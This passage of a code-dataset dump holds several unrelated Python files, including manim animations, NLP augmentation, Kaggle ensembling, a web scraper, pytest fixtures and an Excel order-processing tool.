big_ol_pile_of_manim_imports import *\nfrom manimlib.imports import *\n\"\"\"Update for newer version of manim\"\"\"\n\nclass DrawAnAxis(Scene):\n CONFIG = {\"plane_kwargs\" : {\n \"x_line_frequency\" : 2,\n \"y_line_frequency\" : 3\n }\n }\n \n def construct(self):\n my_plane = NumberPlane(**self.plane_kwargs)\n my_plane.add(my_plane.get_axis_labels())\n self.add(my_plane)\n self.wait()\n\n\nclass SimpleField(Scene):\n CONFIG = {\n \"plane_kwargs\" : {\n \"color\" : RED\n },\n }\n\n def construct(self):\n plane = NumberPlane(**self.plane_kwargs) #Create axes and grid\n plane.add(plane.get_axis_labels()) #add x and y label\n self.add(plane) #Place grid on screen\n \n points = [x*RIGHT+y*UP for x in np.arange(-3,4,1) for y in np.arange(-3,4,1)] #List of vectors pointing to each grid point\n\n vec_field = [] #Empty list to use in for loop\n for point in points:\n field = 0.9*LEFT + 0.5*UP #Constant field up and to right\n result = Vector(field).shift(point) #Create vector and shift it to grid point\n vec_field.append(result) #Append to list\n\n \n draw_field = VGroup(*vec_field) #Pass list of vectors to create a VGroup\n \n self.play(ShowCreation(draw_field)) #Draw VGroup on screen\n\n\nclass FieldWithAxes(Scene):\n CONFIG = {\n \"plane_kwargs\" : {\n \"color\" : RED_B\n },\n \"point_charge_loc\" : 0*RIGHT + 0*UP,\n 'x_line_frequency' : 10,\n 'y_line_frequency' : 10\n }\n \n def construct(self):\n plane = NumberPlane(**self.plane_kwargs)\n #plane.main_lines_fade(.9)\n plane.add(plane.get_axis_labels())\n self.play(ShowCreation(plane))\n\n points = [x*RIGHT+y*UP for x in np.arange(-9,9,1) for y in np.arange(-5,5,1)]\n vec_field = [self.calc_field(point) for point in points]\n \n field = VGroup(*vec_field)\n \n self.play(ShowCreation(field))\n self.wait(1)\n\n\n def calc_field(self, point):\n x = point[0]\n y = point[1]\n #field = np.array((-y,x,0))/math.sqrt(x**2+y**2) #for circular field\n field = np.array(( -2*(y%2)+1 , -2*(x%2)+1 , 0 ))/3\n return Vector(field).shift(point)\n\n\n\n\n\n\n\n","sub_path":"Projects/Vector_Fields.py","file_name":"Vector_Fields.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"38600691","text":"import stanfordnlp\nimport time\nimport re\nfrom itertools import combinations\nimport json\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n\nanalyser = SentimentIntensityAnalyzer()\n\ndef vader_polarity(text):\n \"\"\" Transform the output to a binary 0/1 result \"\"\"\n score = analyser.polarity_scores(text)\n return 1 if score['pos'] > score['neg'] else 0\n\n## 1. 삭제해도 되는 형용사들 넣었다 뺐다 반복하면서 augmentation 할 것\n## 2. 이것도 앞뒤로 문장 붙이면서 augmentation 진행할 것\n## 3. 감성분석해서 삭제한 문장이 원래 극성을 해치지 않으면\n\n\nstart = time.time()\n\nTPE_list = []\n\nwith open(\"C:/Users/ruin/Desktop/data/json_data/TPE_Pattern/EX_neg.json\") as json_file:\n# with open(\"C:/Users/ruin/Desktop/data/json_data/TPE_Pattern/EX_pos.json\") as json_file:\n json_data = json.load(json_file)\n\n splited_sentence = json_data['splited_sentence']\n parsed_sentence = json_data['parsed_sentence']\n augmented_sentence = json_data['augmented_text']\n\n# for a in range(len(augmented_sentence)):\n# for b in range(len(augmented_sentence[a])):\n# if(str(type(augmented_sentence[a][b]))) == \"\":\n# TPE_list.append(splited_sentence[a])\n\n\n# remove_dup = list(set(map(tuple, TPE_list)))\n\n\nnlp = stanfordnlp.Pipeline(processors='tokenize,pos,depparse')\nsent_list = []\n\nfor a in range(len(splited_sentence)):\n data = splited_sentence[a]\n\n for b in range(len(data)):\n word_list = []\n\n list1 = data[:b]\n list2 = data[b+1:]\n sentence = splited_sentence[a][b]\n\n doc = nlp(sentence) ## 모든 sentence에 대해 remove 실행하면서 대상 찾음.\n\n for i, _ in enumerate(doc.sentences):\n for word in doc.sentences[i].words:\n if word.dependency_relation == 'amod':\n word_list.append(word.text)\n\n if len(word_list) > 1:\n first_sent_list = []\n # print(\"기본 문장 : \" + splited_sentence[a][b])\n print(str(a + 1) + \" 번째 리스트의 \" + str(b + 1) + \" 번째 문장\")\n # print(\"원래 문장에 대한 감���분석 결과값 : \" + str(vader_polarity(sentence)))\n\n score_original = vader_polarity(sentence) ## 원래 문장에 대한 감성분석 스코어\n\n print(word_list) ## 삭제 대상 단어 리스트\n\n for c in range(len(word_list)):\n number = list(combinations(word_list, c + 1))\n for word_tuple in range(len(number)):\n t2l = list(number[word_tuple])\n sentencewords = sentence.split()\n\n resultwords = [word for word in sentencewords if word.lower() not in t2l]\n result = ' '.join(resultwords)\n score_remove = vader_polarity(result)\n\n if(score_original == score_remove):\n result_sentence = ' '.join(list1) + \" \" + result + \" \" + ' '.join(list2)\n # print(\"해당 문장에 대해서만 감성분석 결과값 : \" + str(vader_polarity(result)))\n print(result_sentence)\n first_sent_list.append(result_sentence)\n\n # print(\"전체 세그먼트에 대한 감성분석 결과값 : \" + str(vader_polarity(result_sentence)))\n\n sent_list.append(first_sent_list)\n # print('------------------------')\n\nprint(sent_list)\n\nsent_json = {}\nsent_json['removed_sentence'] = []\nsent_json['removed_sentence'].append(sent_list)\n\nwith open(\"C:/Users/ruin/Desktop/data/json_data/removed_data/test.json\", 'w') as outfile:\n json.dump(sent_json, outfile, indent=4)\n\n\nprint(\"time :\", time.time() - start) # 현재시각 - 시작시간 = 실행 시간","sub_path":"remove/depparse_with_sentiword.py","file_name":"depparse_with_sentiword.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"188352437","text":"#!/usr/bin/python3.6\n\nimport itertools, os, re, sys\nfrom glob import glob\nfrom typing import List\nfrom debug import dprint\n\nIN_KERNEL = os.environ.get('KAGGLE_WORKING_DIR') is not None\nMODEL_PATH = '../input/' if IN_KERNEL else '../best_models/'\n\ndef run(command: List[str]) -> None:\n res = os.system('export PYTHONPATH=${PYTHONPATH}:/kaggle/working && ' + ' '.join(command))\n if res != 0:\n sys.exit()\n\ncoeff1, coeff2, coeff3 = 1.5, 1, 1.2\nmodels = {\n '4b_se_resnext101_352x352_f0_e16_0.6050.pth': coeff1,\n '4b_se_resnext101_352x352_f1_e29_0.6079.pth': coeff1,\n '4b_se_resnext101_352x352_f2_e24_0.6022.pth': coeff1,\n '4b_se_resnext101_352x352_f3_e21_0.6047.pth': coeff1,\n '4b_se_resnext101_352x352_f4_e24_0.6050.pth': coeff1,\n '2o_se_resnext101_def_aug_f0_e30_0.5994.pth': coeff2,\n '2o_se_resnext101_def_aug_f1_e30_0.6051.pth': coeff2,\n '2o_se_resnext101_def_aug_f2_e25_0.6022.pth': coeff2,\n '2o_se_resnext101_def_aug_f3_e26_0.6032.pth': coeff2,\n '2o_se_resnext101_def_aug_f4_e21_0.6032.pth': coeff2,\n '2b_se_resnext50_f0_e14_0.5975.pth': coeff3,\n '2b_se_resnext50_f1_e19_0.6006.pth': coeff3,\n '2b_se_resnext50_f2_e20_0.5973.pth': coeff3,\n '2b_se_resnext50_f3_e21_0.5982.pth': coeff3,\n '2b_se_resnext50_f4_e21_0.5978.pth': coeff3,\n }\n\nmodel2path = {os.path.basename(path): path for path in glob(MODEL_PATH + '**/*.pth')}\nfor model in models.keys():\n assert os.path.exists(model2path[model])\n\nfor model in models.keys():\n m = re.match(r'(.*)_f(\\d)_e\\d+.*\\.pth', os.path.basename(model))\n assert m\n\n script_name = f'train_{m.group(1)}.py'\n fold = m.group(2)\n\n cmd = ['python3.6', script_name, '--predict', '--weights', model2path[model],\n '--fold', fold, '--num_tta', '1']\n print('running', cmd)\n run(cmd)\n\ncmd = ['python3.6', 'blend.py', 'submission.csv']\n\nfor model, weight in models.items():\n name = os.path.splitext(os.path.basename(model))[0]\n predict = f'pred_level1_{name}.npz'\n cmd.extend([predict, str(weight)])\n\nprint('running', cmd)\nrun(cmd)\n","sub_path":"old_models/proto__101x2_50x1_a.py","file_name":"proto__101x2_50x1_a.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"25612773","text":"''' MDPGroupClass.py: Class for an MDP group '''\n\n# Python imports.\nfrom collections import defaultdict\nimport numpy as np\n\nclass Pattern(object):\n ''' Abstract dynamics class. '''\n\n def __init__(self, agent, s_id, a_id):\n \n self.n = agent.n_s_a[s_id][a_id] # scalar\n self.n_s = self.permute(agent.n_s_a_s[s_id][a_id]) # vector\n self.r = agent.r_s_a[s_id][a_id] # scalar\n\n def permute(self, vec):\n return -np.sort(-vec)\n \n def print_pattern(self):\n print(\"total visits: \", self.n)\n print(\"dynamics:\", self.n_s / self.n)\n print(\"rewards:\",self.r / self.n)\n \n def distance(self, other):\n '''\n Compare the difference between two MDPs\n '''\n if not isinstance(other, Pattern):\n return NotImplemented\n \n# dynamic = np.hstack((self.n_s / self.n, self.r/self.n))\n# other_dynamic = np.hstack((other.n_s / other.n, other.r/other.n))\n# distance = np.linalg.norm(dynamic - other_dynamic)\n dynamic = self.n_s / self.n\n other_dynamic = other.n_s / other.n\n reward = self.r / self.n\n other_reward = other.r / other.n\n \n if len(dynamic) == len(other_dynamic):\n distance = np.linalg.norm(dynamic - other_dynamic) + np.linalg.norm(reward - other_reward)\n \n elif len(dynamic) > len(other_dynamic):\n temp = np.zeros(len(dynamic))\n temp[:len(other_dynamic)] = other_dynamic\n distance = np.linalg.norm(dynamic - temp) + np.linalg.norm(reward - other_reward)\n \n else:\n temp = np.zeros(len(other_dynamic))\n temp[:len(dynamic)] = dynamic\n distance = np.linalg.norm(temp - other_dynamic) + np.linalg.norm(reward - other_reward)\n \n return distance\n \n\n def merge(self, other):\n if not isinstance(other, Pattern):\n return NotImplemented\n if self.n > 1e10: # sample size large enough, do not need to merge\n return\n self.n += other.n\n# print(self.n_s)\n# print(other.n_s)\n if len(self.n_s) == len(other.n_s):\n self.n_s += other.n_s\n elif len(self.n_s) > len(other.n_s):\n temp = np.zeros(len(self.n_s))\n temp[:len(other.n_s)] = other.n_s\n self.n_s += temp\n else:\n temp = np.zeros(len(other.n_s))\n temp[:len(self.n_s)] = self.n_s\n self.n_s = temp + other.n_s\n self.r += other.r\n\n def __str__(self):\n return str(self.name)\n\n\n\n","sub_path":"simple_rl/agents/PatternClass.py","file_name":"PatternClass.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"212416883","text":"#!/usr/bin/env python3\n# coding=utf-8\n# 素数是指质数,一个大于1的自然数,除了1和它自身外,不能整除其他自然数的数叫做质数;否则称为合数\nclass PrimeNumbers(object):\n def __init__(self, start, end):\n self.start = start\n self.end = end\n\n def is_prime(self, k):\n if k < 2:\n return False\n for i in range(2, k):\n if k % i == 0:\n return False\n # for 循环结束,表明是素数\n return True\n\n # 迭代器接口\n def __iter__(self):\n for k in range(self.start, self.end + 1):\n if self.is_prime(k):\n yield k\n# test\nif __name__ == '__main__':\n for x in PrimeNumbers(1, 100):\n print(x)\n\n\n","sub_path":"01_Python_Basics/38-generator-yield.py","file_name":"38-generator-yield.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"404351679","text":"import numpy as np\nfrom Activation import ActivationFunction\n\n\nclass Layer:\n def __init__(self,number_members,Input_shape=None,Activation = None,Dropout = 0,Weight_param='Default'):\n self.Input_shape = Input_shape\n self.n_mem = number_members\n self.delayed = False\n self.bias = 0 #np.random.randn(self.n_mem).reshape(1,-1);\n\n self.Weight_param = Weight_param.lower();\n\n if(Dropout > 1): raise Exception('Probability exceed 1')\n self.Dropout = Dropout\n\n if self.Input_shape is not None and self.n_mem is not None:\n self.init_weight();\n else:\n self.delayed = True\n\n\n if Activation is None:\n Activation = (lambda x:x,lambda x:1)\n\n self.Activation = Activation[0];\n self.dActivation = Activation[1];\n\n def forwardprop(self,prev):\n if prev.shape[1] != self.Input_shape:\n raise Exception('dimension Exception')\n\n self.prev = prev\n self.bout = self.prev.dot(self.W) + self.bias\n self.aout = self.Activation(self.bout)\n self.aout = self.aout * np.random.choice(2,self.n_mem,p=[self.Dropout,1-self.Dropout])\n\n\n return self.aout\n\n def backprop(self):\n pass\n\n\n def init_weight(self):\n if self.Weight_param == 'xaiver': # recommend for sigmoid & tanh init\n self.W = np.random.randn(self.Input_shape, self.n_mem) / np.sqrt(self.Input_shape)\n elif self.Weight_param =='he': # recommend for relu\n self.bias = 0\n self.W = np.random.randn(self.Input_shape, self.n_mem) / np.sqrt(self.Input_shape/2)\n else:\n self.W = 0.01* np.random.randn(self.Input_shape, self.n_mem)\n\n def fill_delayed_value(self):\n if self.Input_shape is not None:\n self.init_weight();\n\nif __name__ == '__main__':\n\n I1 = np.random.randn(10).reshape(-1,10)\n L1 = Layer(Input_shape=I1.shape[1],number_members= 3,Activation=ActivationFunction.Relu)\n\n print(I1)\n print(L1.forwardprop(I1))\n print(L1.W)\n print(I1.dot(L1.W))\n print(L1.bout)\n print(L1.aout)\n","sub_path":"Layer.py","file_name":"Layer.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"284820895","text":"#!/usr/bin/env python3\n\nfrom sys import argv,version_info\nimport serial\n\nassert version_info >= (3,)\n\ndef send_bytes(data, port={'tty':'/dev/ttyACM0', 'baud':9600}):\n\tif type(port) is serial.Serial:\n\t\twrite=port.write\n\tif type(port) is dict:\n\t\twrite = serial.Serial(port['tty'], port['baud']).write\n\twrite(data)\n\ndef set_leds(led_dict, writebytefunc=(send_bytes,[],{})):\n\tBITMASK_1BIT = [0b00000001< dict:\n \"\"\"Return a item\"\"\"\n ref_genomes = {\n \"C. Jejuni\": \"NC_111\",\n \"M. upium\": \"NC_222\",\n \"C. difficile\": \"NC_333\",\n }\n item = dict(\n name=name,\n internal_id=internal_id,\n reads=\"1000\",\n container=\"96 well plate\",\n container_name=\"hej\",\n rml_plate_name=None,\n well_position=well_position,\n well_position_rml=None,\n sex=None,\n panels=None,\n require_qcok=True,\n application=\"MWRNXTR003\",\n source=None,\n status=None,\n customer=\"cust015\",\n family=None,\n priority=\"standard\",\n capture_kit=None,\n comment=\"comment\",\n index=None,\n reagent_label=None,\n tumour=False,\n custom_index=None,\n elution_buffer=\"Nuclease-free water\",\n organism=organism,\n reference_genome=ref_genomes[organism],\n extraction_method=\"MagNaPure 96 (contact Clinical Genomics before \" \"submission)\",\n analysis=\"fastq\",\n concentration_weight=\"1\",\n mother=None,\n father=None,\n )\n return item\n\n order = {\n \"customer\": \"cust000\",\n \"name\": \"test order\",\n \"internal_id\": \"lims_reference\",\n \"comment\": \"test comment\",\n \"ticket_number\": \"123456\",\n \"items\": [\n _get_item(\"Jag\", \"ms1\", \"D:5\", \"C. Jejuni\"),\n _get_item(\"testar\", \"ms2\", \"H:5\", \"M. upium\"),\n _get_item(\"list\", \"ms3\", \"A:6\", \"C. difficile\"),\n ],\n \"project_type\": \"microbial\",\n }\n return order\n\n\n@pytest.yield_fixture(scope=\"function\")\ndef microbial_store(base_store, microbial_submitted_order):\n \"\"\"Setup a store instance for testing analysis API.\"\"\"\n customer = base_store.customer(microbial_submitted_order[\"customer\"])\n\n order = base_store.MicrobialOrder(\n internal_id=microbial_submitted_order[\"internal_id\"],\n name=microbial_submitted_order[\"name\"],\n ticket_number=microbial_submitted_order[\"ticket_number\"],\n comment=microbial_submitted_order[\"comment\"],\n created_at=dt.datetime(2012, 3, 3, 10, 10, 10),\n updated_at=dt.datetime(2012, 3, 3, 10, 10, 10),\n ordered_at=dt.datetime(2012, 3, 3, 10, 10, 10),\n )\n\n order.customer = customer\n base_store.add(order)\n\n for sample_data in microbial_submitted_order[\"items\"]:\n application_version = base_store.application(sample_data[\"application\"]).versions[0]\n organism = base_store.Organism(\n internal_id=sample_data[\"organism\"], name=sample_data[\"organism\"]\n )\n base_store.add(organism)\n sample = base_store.add_microbial_sample(\n name=sample_data[\"name\"],\n sex=sample_data[\"sex\"],\n internal_id=sample_data[\"internal_id\"],\n ticket=microbial_submitted_order[\"ticket_number\"],\n reads=sample_data[\"reads\"],\n comment=sample_data[\"comment\"],\n organism=organism,\n priority=sample_data[\"priority\"],\n reference_genome=sample_data[\"reference_genome\"],\n application_version=application_version,\n )\n sample.microbial_order = order\n sample.application_version = application_version\n sample.customer = customer\n sample.organism = organism\n\n base_store.add(sample)\n\n base_store.commit()\n yield base_store\n\n\n@pytest.yield_fixture(scope=\"function\", name=\"analysis_obj\")\ndef fixture_analysis_obj(analysis_store):\n \"\"\"Fetch a analysis object from a populated store\"\"\"\n return analysis_store.analyses()[0]\n\n\n@pytest.yield_fixture(scope=\"function\")\ndef family_obj(analysis_obj):\n \"\"\"Return a family models object.\"\"\"\n return analysis_obj.family\n","sub_path":"tests/store/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":4584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"480193293","text":"import csv\nimport datetime\nimport time\nimport os.path\nfrom os import path\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\n\nurl = 'https://chaturbate.com'\nfilename = 'files/test_' + datetime.datetime.now().strftime('%Y-%m-%d %H-%M-%S')\n\n\ndef getPage(url,counter):\n\n\tdriver.get(url)\n\n\t\"\"\"\n\tif path.exists(htmlfile):\n\t\tfh = open(htmlfile,'r')\n\t\thtmlcontent = fh.read()\n\telse:\n\t\"\"\"\n\n\thtmlcontent = driver.page_source\n\n\t# write HTML file\n\tfh = open(filename + '_' + str(counter) + '.html','w')\n\tfh.write(htmlcontent)\n\n\t# parse HTML\n\tsoup = BeautifulSoup(htmlcontent)\n\n\tprint(soup.prettify())\n\n\tmylis = soup.findAll('li', {'class': 'room_list_room'})\n\tprint(len(mylis))\n\n\t# process each room box\n\tfor myli in mylis:\n\n\t\tprint(myli)\n\n\t\troom = {}\n\t\troom['name'] = myli.find('a').get('data-room')\n\t\troom['subject'] = myli.find('ul', {'class': 'subject'}).text.replace('\\n', '')\n\t\troom['location'] = myli.find('li', {'class': 'location'}).text\n\n\t\ttmp = myli.find('li', {'class': 'cams'}).text.replace(' ','')\n\t\ttmp = tmp.split(',')\n\t\troom['time'] = tmp[0].replace('hrs', '')\n\t\troom['viewers'] = tmp[1].replace('viewers', '')\n\n\t\ttmp = myli.find('div', {'class': 'title'}).find('span')\n\t\troom['age'] = tmp.text\n\t\troom['gender'] = tmp.attrs['class'][1]\n\n\t\trooms.append(room)\n\n\ttry:\n\t\t# get the link to the next page from the next button\n\t\tnext_button = driver.find_element_by_class_name('next')\n\t\tnextlink = next_button.get_attribute('href')\n\texcept:\n\t\tprint(\"captcha at \" + str(counter))\n\t\treturn False\n\n\tprint(nextlink)\n\n\t#if counter > 2:\n\t#\treturn False\n\n\tif nextlink.endswith('#'):\n\t\treturn False\n\telse:\n\t\treturn nextlink\n\n\ndriver = webdriver.Chrome()\nrooms = []\n\ncounter = 0\nnextstep = url\n\nwhile nextstep is not False:\n\tnextstep = getPage(nextstep,counter)\n\tcounter += 1\n\ttime.sleep(10)\n\ncsvfilename = filename + '.csv'\nkeys = rooms[0].keys()\nwith open(csvfilename, 'w', newline='') as output_file:\n\tdict_writer = csv.DictWriter(output_file, keys)\n\tdict_writer.writeheader()\n\tdict_writer.writerows(rooms)\n\ndriver.quit()","sub_path":"scrape_selenium.py","file_name":"scrape_selenium.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"9998765","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport os, sys\nimport traceback\n# sys.path.append(\"python_package/xlrd/lib/python\")\n# sys.path.append(\"python_package/xlwt/lib\")\nsys.path.append(os.path.join('python_package', 'xlrd', 'lib', 'python'))\nsys.path.append(os.path.join('python_package', 'xlwt', 'lib'))\nsys.path.append(os.path.join('python_package'))\n\nimport xlrd\nimport xlwt\nfrom xlrd import open_workbook\n\nimport ntpath\nimport json\n\n# create logger\n#----------------------------------------------------------------------\nimport logging\n\n# numeric_level = getattr(logging, loglevel.upper(), None)\n# if not isinstance(numeric_level, int):\n# raise ValueError('Invalid log level: %s' % loglevel)\n\n# logging.basicConfig(level=logging.INFO)\n\nlog = logging.getLogger('python_logger')\nlog.setLevel(logging.DEBUG)\n\nfh = logging.FileHandler('out.log', 'w')\nfh.setLevel(logging.DEBUG)\n# create console handler with a higher log level\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\n# create formatter and add it to the handlers\n# formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n# 2015-08-28 17:01:57,662 - simple_example - ERROR - error message\n\n# formatter = logging.Formatter('%(asctime)s %(levelname)-8s %(filename)s:%(lineno)-4d: %(message)s')\nformatter = logging.Formatter('%(asctime)s %(levelname)-2s %(lineno)-4d: %(message)s')\n\nfh.setFormatter(formatter)\nch.setFormatter(formatter)\n# add the handlers to the logger\nlog.addHandler(fh)\nlog.addHandler(ch)\n#----------------------------------------------------------------------\n\n# 'application' code\n# logger.debug('debug message')\n# logger.info('info message')\n# logger.warn('warn message')\n# logger.error('error message')\n# logger.critical('critical message')\n#----------------------------------------------------------------------\n# create logger end\n\nMAX_ROW_NUM = 60000\n\n\ndef TestImport():\n log.info(\"test import success\")\n\nclass Order(object):\n def __init__(self, order_ID, dest_name, dest_province, dest_city, dest_country, dest_addr, dest_phone_num, src_name, note):\n self.order_ID = order_ID\n self.dest_name = dest_name\n self.dest_province = dest_province\n self.dest_city = dest_city\n self.dest_country = dest_country\n self.dest_addr = dest_addr\n self.dest_phone_num = dest_phone_num\n self.src_name = src_name\n self.note = note\n self.date = unicode(int(note[4:6])) + u'月' + unicode(int(note[6:8])) + u'日'\n self.ID = note[0:4]\n\n def __str__(self):\n return(\"Order object:\\n\"\n \" order_ID = {0}\\n\"\n \" dest_name = {1}\\n\"\n \" dest_province = {2}\\n\"\n \" dest_city = {3}\\n\"\n \" dest_country = {4}\\n\"\n \" dest_addr = {5}\\n\"\n \" dest_phone_num = {6}\\n\"\n \" src_name = {7}\\n\"\n \" note = {8}\\n\"\n \" date = {9}\\n\"\n \" ID = {10}\\n\"\n .format(self.order_ID.encode('UTF-8'), self.dest_name.encode('UTF-8'),\n self.dest_province.encode('UTF-8'), self.dest_city.encode('UTF-8'),\n self.dest_country.encode('UTF-8'), self.dest_addr.encode('UTF-8'),\n unicode(self.dest_phone_num)[:-2].encode('UTF-8'), self.src_name.encode('UTF-8'),\n self.note, self.date.encode('UTF-8'), self.ID\n ))\n\ndef WriteXls(path, element_list, element_info_list):\n workbook = xlwt.Workbook()\n sheet = workbook.add_sheet(\"right address\")\n\n head_list = [u\"订单号\",u\"商品名称\",u\"单位\",u\"数量\",u\"单价\",u\"重量\",u\"SKU编码\", u\"SKU名称\", u\"客户名称*\", u\"备注\",u\"收件人姓名\",u\"收件人省\",u\"收件人市\",u\"收件人区\",u\"收件人地址\",u\"收件人邮编\",u\"收件人电话\",u\"收件人手机\",u\"收件人邮箱\",u\"发件人姓名\",u\"发件人省\",u\"发件人市\",u\"发件人区\",u\"发件人地址\",u\"发件人邮编\",u\"发件人电话\",u\"发件人手机\",u\"发件人邮箱\",u\"扩展单号\",u\"批次号\",u\"大头笔\",u\"面单号\",u\"代收货款\",u\"到付款\",u\"网点ID\"]\n for index, item in enumerate(head_list) :\n sheet.write(0, index, item)\n\n for row in range(1, len(element_list) + 1):\n sheet.write(row, head_list.index(u\"数量\"), 1)\n sheet.write(row, head_list.index(u\"代收货款\"), element_info_list[1])\n sheet.write(row, head_list.index(u\"客户名称*\"), element_info_list[2].decode('GBK'))\n sheet.write(row, head_list.index(u\"备注\"), element_info_list[0] + element_info_list[3] + \"%04d\"%row)\n sheet.write(row, head_list.index(u\"收件人姓名\"), element_list[row - 1 ].dest_name)\n sheet.write(row, head_list.index(u\"收件人地址\"), element_list[row - 1].addr)\n sheet.write(row, head_list.index(u\"收件人电话\"), unicode(element_list[row - 1].phone_num)[:-2])\n sheet.write(row, head_list.index(u\"发件人姓名\"), element_list[row - 1].src_name)\n workbook.save(path)\n log.info(\"finish WriteXls:{}, row numbers:{}\".format(path, len(element_list)))\n\n\ndef WriteOrderToSheet(work_book, sheet_name, element_list) :\n sheet = work_book.add_sheet(sheet_name)\n\n head_list = [u'发件日期', u\"快递单号\", u\"收件人姓名\", u\"收件人省\", u\"收件人市\", u\"收件人区\", u\"收件人地址\", u\"收件人电话\", u\"客服\", u\"客户编码\"]\n\n for index, item in enumerate(head_list) :\n sheet.write(0, index, item)\n\n for row in range(1, len(element_list) + 1):\n sheet.write(row, 0, element_list[row - 1].date)\n sheet.write(row, 1, element_list[row - 1].order_ID)\n sheet.write(row, 2, element_list[row - 1].dest_name)\n sheet.write(row, 3, element_list[row - 1].dest_province)\n sheet.write(row, 4, element_list[row - 1].dest_city)\n sheet.write(row, 5, element_list[row - 1].dest_country)\n sheet.write(row, 6, element_list[row - 1].dest_addr)\n sheet.write(row, 7, element_list[row - 1].dest_phone_num)\n sheet.write(row, 8, element_list[row - 1].src_name)\n sheet.write(row, 9, element_list[row - 1].note)\n\n return work_book\n\n\ndef WriteListToXls(path, sheet_name, element_list):\n workbook = xlwt.Workbook()\n sheet = workbook.add_sheet(sheet_name)\n col = 0\n for index, item in enumerate(element_list) :\n if (index % (MAX_ROW_NUM -1) == 0 and index > 0) :\n col = col + 1\n sheet.write(index % (MAX_ROW_NUM - 1), col, item)\n\n workbook.save(path)\n log.info(\"finish WriteXls: %s, element numbers is: %s\", path, len(element_list))\n\ndef GetFileList(path):\n from os import listdir\n from os.path import isfile, join\n onlyfiles = [ join(path, f) for f in listdir(path) if isfile(join(path, f))]\n return onlyfiles\n\ndef PathLeaf(path):\n head, tail = ntpath.split(path)\n return tail or ntpath.basename(head)\n\n# read the xls files\n\ndef ParseSheetToList(sheet) :\n ret_list = []\n number_of_rows = sheet.nrows\n number_of_columns = sheet.ncols\n if (number_of_rows <= 0 or number_of_columns <= 0):\n log.error('can not get elem from sheet')\n return ret_list\n\n try:\n for col in range(number_of_columns):\n for row in range(number_of_rows):\n value = sheet.cell(row, col).value\n\n if (type(value) is float and value > 0):\n ret_list.append(\"%.0f\"%value)\n elif (type(value) is unicode and len(value) > 0):\n ret_list.append(value)\n\n\n except Exception:\n log.error(\"Got exception on ParseSheetToList:%s\", traceback.format_exc() )\n return ret_list\n\ndef ReadFinancialFile(path) :\n order_receive_list = []\n order_reject_list = []\n\n ret_dict = {\"receive_list\" : order_receive_list, \"reject_list\" : order_reject_list}\n\n file_list = GetFileList(path)\n if len(file_list) == 0:\n log.error(\"can not find file in path:%s\", path)\n return ret_dict, len(file_list)\n\n for file in file_list:\n log.info(\"open file: %s\", file)\n\n wb = open_workbook(file)\n for sheet in wb.sheets():\n\n if (sheet.name == u\"签收\"):\n order_receive_list.extend(ParseSheetToList(sheet))\n log.debug(\"order_receive_list.size:%d\", len(order_receive_list))\n elif (sheet.name == u\"退回\"):\n order_reject_list.extend(ParseSheetToList(sheet))\n log.debug(\"order_reject_list.size:%d\", len(order_reject_list))\n\n ret_dict[\"receive_list\"] = order_receive_list\n ret_dict[\"reject_list\"] = order_reject_list\n return ret_dict, len(file_list)\n\ndef GetWholeOrderSet(path):\n log.debug(\"GetWholeOrderSet, path:%s\", path)\n file_list = GetFileList(path)\n whole_receive_order_list = []\n whole_reject_order_list = []\n\n if len(file_list) == 0:\n log.error(\"can not find file in path:%s\", path)\n return {}\n for file in file_list:\n log.info(\"open file: %s\", file)\n\n if u'总签收' in file:\n wb = open_workbook(file)\n for sheet in wb.sheets():\n whole_receive_order_list.extend(ParseSheetToList(sheet))\n if u'总退回' in file:\n wb = open_workbook(file)\n for sheet in wb.sheets():\n whole_reject_order_list.extend(ParseSheetToList(sheet))\n\n ret_dict = {\"whole_receive_set\" : set(whole_receive_order_list), \"whole_reject_set\" : set(whole_reject_order_list)}\n log.info(\"whole_receive_order_list.size:%d\", len(set(whole_receive_order_list)))\n log.info(\"whole_reject_order_list.size:%d\", len(set(whole_reject_order_list)))\n return ret_dict\n\ndef WriteWholeReceiveOrderListToFile(path, receive_order_list) :\n log.info(\"GetWholeRejectOrderList, path:%s, receive_order_list.size:%d\", path, len(receive_order_list))\n WriteListToXls(path, u'总签收', receive_order_list)\n\ndef WriteWholeRejectOrderListToFile(path, reject_order_list) :\n log.info(\"GetWholeRejectOrderList, path:%s, reject_order_list.size:%d\", path, len(reject_order_list))\n WriteListToXls(path, u'总退回', reject_order_list)\n\ndef AddFinancialOrderToWholeOrderList(path = u\"单日签收退回from财务\"):\n finanical_order_dict, file_count = ReadFinancialFile(path)\n\n if (len(finanical_order_dict[\"receive_list\"]) == 0 and len(finanical_order_dict[\"reject_list\"]) == 0) :\n log.error(\"can not get order_list from financial path:%s\", path)\n return 0, file_count\n\n whole_order_dict = GetWholeOrderSet(u'签收退回总订单号')\n whole_order_dict[\"whole_receive_set\"] = whole_order_dict[\"whole_receive_set\"] | set(finanical_order_dict[\"receive_list\"])\n whole_order_dict[\"whole_reject_set\"] = whole_order_dict[\"whole_reject_set\"] | set(finanical_order_dict[\"reject_list\"])\n\n WriteListToXls(os.path.join(u'签收退回总订单号', u'总签收.xls'), u'总签收',\n sorted(list(whole_order_dict[\"whole_receive_set\"])))\n WriteListToXls(os.path.join(u'签收退回总订单号', u'总退回.xls'), 